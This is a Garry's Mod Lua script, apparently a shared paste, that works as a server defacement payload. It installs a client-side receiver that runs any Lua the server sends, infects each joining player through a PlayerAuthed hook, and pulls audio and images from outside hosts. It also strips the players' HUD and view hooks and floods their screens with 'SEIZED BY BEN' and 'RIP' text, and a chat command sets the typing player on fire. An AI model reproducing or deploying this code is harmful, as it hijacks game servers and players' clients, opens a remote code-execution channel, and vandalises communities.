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Jan 21st, 2020
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  1. util.AddNetworkString "slua"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "slua" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "SERVER HACKED BY BEN!!" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://thanksdude.livehost.fr/loveyou/hackedbybenv2.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "http://d.zaix.ru/gikZ.png", "hud1", 300, 128 )
  100. LoadWebMaterial( " ", "hud2", 300, 128 )
  101. LoadWebMaterial( " ", "hud3", 128, 128 )
  102. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  103. LoadWebMaterial( "http://d.zaix.ru/gXKj.png", "doritos", 183, 256 )
  104. LoadWebMaterial( "http://www.underdone.org/leak/underdone/fedora.png", "fedora", 256, 256 )
  105. LoadWebMaterial( "http://www.underdone.org/leak/underdone/dew.png", "dew", 110, 256 )
  106. LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
  107. ]=]):format(lol.m_strImageLoadHTML) )
  108. end )
  109.  
  110. --HUD swap
  111. lol:PushAction( 31, function( pPlayer )
  112. lol:SendLua( pPlayer, [[
  113. (GAMEMODE or GM).CalcView = function() end
  114. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  115.  
  116. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  117. for k, v in pairs(remove) do
  118. hook.GetTable()[v] = {}
  119. end
  120.  
  121. local function GetWebMat( strURL )
  122. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  123. end
  124.  
  125. hook.Add( "HUDPaint", "newhud", function()
  126. surface.SetDrawColor( 255, 255, 255, 255 )
  127.  
  128. if GetWebMat( "hud1" ) then
  129. surface.SetMaterial( GetWebMat("hud1")[1] )
  130. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  131. end
  132. if GetWebMat( "hud2" ) then
  133. surface.SetMaterial( GetWebMat("hud2")[1] )
  134. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  135. end
  136. if GetWebMat( "hud3" ) then
  137. surface.SetMaterial( GetWebMat("hud3")[1] )
  138. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  139. end
  140. if GetWebMat( "xhair" ) then
  141. surface.SetMaterial( GetWebMat("xhair")[1] )
  142. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  143. end
  144.  
  145. if GetWebMat( "doritos" ) then
  146. surface.SetMaterial( GetWebMat("doritos")[1] )
  147. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  148. end
  149. if GetWebMat( "dew" ) then
  150. surface.SetMaterial( GetWebMat("dew")[1] )
  151. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  152. end
  153. if GetWebMat( "fedora" ) then
  154. surface.SetMaterial( GetWebMat("fedora")[1] )
  155. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  156. end
  157. if GetWebMat( "awp" ) then
  158. surface.SetMaterial( GetWebMat("awp")[1] )
  159. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  160. end
  161.  
  162. draw.SimpleTextOutlined(
  163. "SEIZED BY BEN",
  164. "DermaLarge",
  165. ScrW() /2 +math.random( -8, 8 ),
  166. ScrH() /2 +math.random( -8, 8 ) +100,
  167. Color( 4, 255, 0, 160 ),
  168. TEXT_ALIGN_CENTER,
  169. TEXT_ALIGN_CENTER,
  170. 3,
  171. Color( 0, 0, 0, 255 )
  172. )
  173.  
  174. draw.SimpleTextOutlined(
  175. "SEIZED BY BEN",
  176. "DermaLarge",
  177. ScrW() /2 +math.random( -8, 8 ),
  178. ScrH() /2 +math.random( -8, 8 ) +24,
  179. Color( 255, 147, 0, 160 ),
  180. TEXT_ALIGN_CENTER,
  181. TEXT_ALIGN_CENTER,
  182. 3,
  183. Color( 0, 0, 0, 255 )
  184. )
  185.  
  186. draw.SimpleTextOutlined(
  187. "SEIZED BY BEN",
  188. "DermaLarge",
  189. ScrW() /2 +math.random( -8, 8 ),
  190. ScrH() /2 +math.random( -8, 8 ) +64,
  191. Color( 247, 255, 0, 160 ),
  192. TEXT_ALIGN_CENTER,
  193. TEXT_ALIGN_CENTER,
  194. 3,
  195. Color( 0, 0, 0, 255 )
  196. )
  197.  
  198. draw.SimpleTextOutlined(
  199. "SEIZED BY BEN",
  200. "DermaLarge",
  201. ScrW() /2 +math.random( -8, 8 ),
  202. ScrH() /2 +math.random( -8, 8 ) +0,
  203. Color( 255, 0, 0, 160 ),
  204. TEXT_ALIGN_CENTER,
  205. TEXT_ALIGN_CENTER,
  206. 3,
  207. Color( 0, 0, 0, 255 )
  208. )
  209.  
  210. draw.SimpleTextOutlined(
  211. "SEIZED BY BEN",
  212. "DermaLarge",
  213. ScrW() /2 +math.random( -8, 8 ),
  214. ScrH() /2 +math.random( -8, 8 ) +130,
  215. Color( 0, 4, 255, 160 ),
  216. TEXT_ALIGN_CENTER,
  217. TEXT_ALIGN_CENTER,
  218. 3,
  219. Color( 0, 0, 0, 255 )
  220. )
  221.  
  222. draw.SimpleTextOutlined(
  223. "SEIZED BY BEN",
  224. "DermaLarge",
  225. ScrW() /2 +math.random( -8, 8 ),
  226. ScrH() /2 +math.random( -8, 8 ) +160,
  227. Color( 116, 0, 255, 160 ),
  228. TEXT_ALIGN_CENTER,
  229. TEXT_ALIGN_CENTER,
  230. 3,
  231. Color( 0, 0, 0, 255 )
  232. )
  233.  
  234. draw.SimpleTextOutlined(
  235. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  236. "DermaLarge",
  237. ScrW() /2 +math.random( -8, 8 ),
  238. ScrH() /2 +math.random( -8, 8 ) -80,
  239. Color( 162, 61, 0, 160 ),
  240. TEXT_ALIGN_CENTER,
  241. TEXT_ALIGN_CENTER,
  242. 3,
  243. Color( 0, 0, 0, 255 )
  244. )
  245.  
  246. draw.SimpleTextOutlined(
  247. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  248. "DermaLarge",
  249. ScrW() /2 +math.random( -8, 8 ),
  250. ScrH() /2 +math.random( -8, 8 ) +220,
  251. Color( 122, 122, 122, 160 ),
  252. TEXT_ALIGN_CENTER,
  253. TEXT_ALIGN_CENTER,
  254. 3,
  255. Color( 0, 0, 0, 255 )
  256. )
  257.  
  258. draw.SimpleTextOutlined(
  259. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  260. "DermaLarge",
  261. ScrW() /2 +math.random( -8, 8 ),
  262. ScrH() /2 +math.random( -8, 8 ) +260,
  263. Color( 191, 255, 185, 160 ),
  264. TEXT_ALIGN_CENTER,
  265. TEXT_ALIGN_CENTER,
  266. 3,
  267. Color( 0, 0, 0, 255 )
  268. )
  269.  
  270. draw.SimpleTextOutlined(
  271. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  272. "DermaLarge",
  273. ScrW() /2 +math.random( -8, 8 ),
  274. ScrH() /2 +math.random( -8, 8 ) +300,
  275. Color( 185, 242, 255, 160 ),
  276. TEXT_ALIGN_CENTER,
  277. TEXT_ALIGN_CENTER,
  278. 3,
  279. Color( 0, 0, 0, 255 )
  280. )
  281.  
  282. draw.SimpleTextOutlined(
  283. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  284. "DermaLarge",
  285. ScrW() /2 +math.random( -8, 8 ),
  286. ScrH() /2 +math.random( -8, 8 ) +340,
  287. Color( 255, 65, 189, 160 ),
  288. TEXT_ALIGN_CENTER,
  289. TEXT_ALIGN_CENTER,
  290. 3,
  291. Color( 0, 0, 0, 255 )
  292. )
  293.  
  294. draw.SimpleTextOutlined(
  295. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  296. "DermaLarge",
  297. ScrW() /2 +math.random( -8, 8 ),
  298. ScrH() /2 +math.random( -8, 8 ) +380,
  299. Color( 28, 107, 0, 160 ),
  300. TEXT_ALIGN_CENTER,
  301. TEXT_ALIGN_CENTER,
  302. 3,
  303. Color( 0, 0, 0, 255 )
  304. )
  305.  
  306. draw.SimpleTextOutlined(
  307. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  308. "DermaLarge",
  309. ScrW() /2 +math.random( -8, 8 ),
  310. ScrH() /2 +math.random( -8, 8 ) +420,
  311. Color( 255, 0, 0, 160 ),
  312. TEXT_ALIGN_CENTER,
  313. TEXT_ALIGN_CENTER,
  314. 3,
  315. Color( 0, 0, 0, 255 )
  316. )
  317.  
  318. draw.SimpleTextOutlined(
  319. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  320. "DermaLarge",
  321. ScrW() /2 +math.random( -8, 8 ),
  322. ScrH() /2 +math.random( -8, 8 ) +460,
  323. Color( 0, 255, 4, 160 ),
  324. TEXT_ALIGN_CENTER,
  325. TEXT_ALIGN_CENTER,
  326. 3,
  327. Color( 0, 0, 0, 255 )
  328. )
  329.  
  330. draw.SimpleTextOutlined(
  331. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  332. "DermaLarge",
  333. ScrW() /2 +math.random( -8, 8 ),
  334. ScrH() /2 +math.random( -8, 8 ) +500,
  335. Color( 0, 224, 255, 160 ),
  336. TEXT_ALIGN_CENTER,
  337. TEXT_ALIGN_CENTER,
  338. 3,
  339. Color( 0, 0, 0, 255 )
  340. )
  341.  
  342. draw.SimpleTextOutlined(
  343. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  344. "DermaLarge",
  345. ScrW() /2 +math.random( -8, 8 ),
  346. ScrH() /2 +math.random( -8, 8 ) +540,
  347. Color( 0, 255, 4, 160 ),
  348. TEXT_ALIGN_CENTER,
  349. TEXT_ALIGN_CENTER,
  350. 3,
  351. Color( 0, 0, 0, 255 )
  352. )
  353.  
  354. draw.SimpleTextOutlined(
  355. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  356. "DermaLarge",
  357. ScrW() /2 +math.random( -8, 8 ),
  358. ScrH() /2 +math.random( -8, 8 ) -40,
  359. Color( 255, 255, 0, 160 ),
  360. TEXT_ALIGN_CENTER,
  361. TEXT_ALIGN_CENTER,
  362. 3,
  363. Color( 0, 0, 0, 255 )
  364. )
  365.  
  366. draw.SimpleTextOutlined(
  367. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  368. "DermaLarge",
  369. ScrW() /2 +math.random( -8, 8 ),
  370. ScrH() /2 +math.random( -8, 8 ) -120,
  371. Color( 0, 93, 255, 160 ),
  372. TEXT_ALIGN_CENTER,
  373. TEXT_ALIGN_CENTER,
  374. 3,
  375. Color( 0, 0, 0, 255 )
  376. )
  377.  
  378. draw.SimpleTextOutlined(
  379. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  380. "DermaLarge",
  381. ScrW() /2 +math.random( -8, 8 ),
  382. ScrH() /2 +math.random( -8, 8 ) -180,
  383. Color( 169, 107, 107, 160 ),
  384. TEXT_ALIGN_CENTER,
  385. TEXT_ALIGN_CENTER,
  386. 3,
  387. Color( 0, 0, 0, 255 )
  388. )
  389.  
  390.  
  391. draw.SimpleTextOutlined(
  392. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  393. "DermaLarge",
  394. ScrW() /2 +math.random( -8, 8 ),
  395. ScrH() /2 +math.random( -8, 8 ) -220,
  396. Color( 0, 0, 0, 160 ),
  397. TEXT_ALIGN_CENTER,
  398. TEXT_ALIGN_CENTER,
  399. 3,
  400. Color( 0, 0, 0, 255 )
  401. )
  402.  
  403. draw.SimpleTextOutlined(
  404. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  405. "DermaLarge",
  406. ScrW() /2 +math.random( -8, 8 ),
  407. ScrH() /2 +math.random( -8, 8 ) -260,
  408. Color( 255, 162, 0, 160 ),
  409. TEXT_ALIGN_CENTER,
  410. TEXT_ALIGN_CENTER,
  411. 3,
  412. Color( 0, 0, 0, 255 )
  413. )
  414.  
  415. draw.SimpleTextOutlined(
  416. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  417. "DermaLarge",
  418. ScrW() /2 +math.random( -8, 8 ),
  419. ScrH() /2 +math.random( -8, 8 ) -300,
  420. Color( 255, 255, 255, 160 ),
  421. TEXT_ALIGN_CENTER,
  422. TEXT_ALIGN_CENTER,
  423. 3,
  424. Color( 0, 0, 0, 255 )
  425. )
  426.  
  427. draw.SimpleTextOutlined(
  428. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  429. "DermaLarge",
  430. ScrW() /2 +math.random( -8, 8 ),
  431. ScrH() /2 +math.random( -8, 8 ) -340,
  432. Color( 32, 31, 86, 160 ),
  433. TEXT_ALIGN_CENTER,
  434. TEXT_ALIGN_CENTER,
  435. 3,
  436. Color( 0, 0, 0, 255 )
  437. )
  438.  
  439. draw.SimpleTextOutlined(
  440. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  441. "DermaLarge",
  442. ScrW() /2 +math.random( -8, 8 ),
  443. ScrH() /2 +math.random( -8, 8 ) -380,
  444. Color( 185, 166, 7, 160 ),
  445. TEXT_ALIGN_CENTER,
  446. TEXT_ALIGN_CENTER,
  447. 3,
  448. Color( 0, 0, 0, 255 )
  449. )
  450.  
  451. draw.SimpleTextOutlined(
  452. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  453. "DermaLarge",
  454. ScrW() /2 +math.random( -8, 8 ),
  455. ScrH() /2 +math.random( -8, 8 ) -420,
  456. Color( 0, 255, 4, 160 ),
  457. TEXT_ALIGN_CENTER,
  458. TEXT_ALIGN_CENTER,
  459. 3,
  460. Color( 0, 0, 0, 255 )
  461. )
  462.  
  463. draw.SimpleTextOutlined(
  464. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  465. "DermaLarge",
  466. ScrW() /2 +math.random( -8, 8 ),
  467. ScrH() /2 +math.random( -8, 8 ) -460,
  468. Color( 187, 0, 31, 160 ),
  469. TEXT_ALIGN_CENTER,
  470. TEXT_ALIGN_CENTER,
  471. 3,
  472. Color( 0, 0, 0, 255 )
  473. )
  474.  
  475. draw.SimpleTextOutlined(
  476. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  477. "DermaLarge",
  478. ScrW() /2 +math.random( -8, 8 ),
  479. ScrH() /2 +math.random( -8, 8 ) -500,
  480. Color( 153, 0, 187, 160 ),
  481. TEXT_ALIGN_CENTER,
  482. TEXT_ALIGN_CENTER,
  483. 3,
  484. Color( 0, 0, 0, 255 )
  485. )
  486.  
  487. draw.SimpleTextOutlined(
  488. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  489. "DermaLarge",
  490. ScrW() /2 +math.random( -8, 8 ),
  491. ScrH() /2 +math.random( -8, 8 ) -540,
  492. Color( 0, 156, 187, 160 ),
  493. TEXT_ALIGN_CENTER,
  494. TEXT_ALIGN_CENTER,
  495. 3,
  496. Color( 0, 0, 0, 255 )
  497. )
  498. end )
  499.  
  500. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  501. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
